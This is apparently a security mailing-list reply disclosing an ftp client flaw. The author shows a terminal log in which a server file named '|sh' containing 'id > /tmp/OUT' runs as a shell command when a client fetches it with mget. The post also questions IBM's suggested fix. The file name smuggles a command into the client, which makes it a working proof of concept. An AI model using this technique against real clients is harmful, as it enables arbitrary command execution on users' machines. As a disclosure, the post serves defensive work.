Yes, but try "|sh" instead. I've included a log of what happens.
> BTW, I believe that this also happens on HP-UX 9.05
It works on our Linux slackware as well. I suspect most ftp
clients are susceptible to this "problem."
$ id
uid=100(guest) gid=100(usr)
$ pwd
/tmp/ftp-test
$ echo "id > /tmp/OUT" > "|sh"
$ ls -la
total 24
drwxr-xr-x 2 guest usr 512 Nov 3 09:45 .
drwxrwxrwt 6 bin bin 1024 Nov 3 09:44 ..
-rw-r--r-- 1 guest usr 14 Nov 3 09:45 |sh
$ ftp localhost
Connected to localhost.
....snip....
230 User guest logged in.
ftp> cd /tmp/ftp-test
ftp> ls -l
total 24
-rw-r--r-- 1 guest usr 14 Nov 3 09:45 |sh
ftp> mget *
mget |sh? y
150 Opening data connection for |sh (14 bytes).
15 bytes received in 0.2187 seconds (0.06699 Kbytes/s)
local: |sh remote: |sh
ftp> quit
$ ls -l /tmp/OUT
-rw-r--r-- 1 guest usr 28 Nov 3 09:45 /tmp/OUT
$ cat /tmp/OUT
uid=100(guest) gid=100(usr)
$
I also wonder about IBM's answer:
SOLUTION: Remove the setuid bit from the "ftp" command.
On our 4.2.1, ftp will not run if it is not suid.
Didn't somebody test this?
Andrew Green
af@c4c.com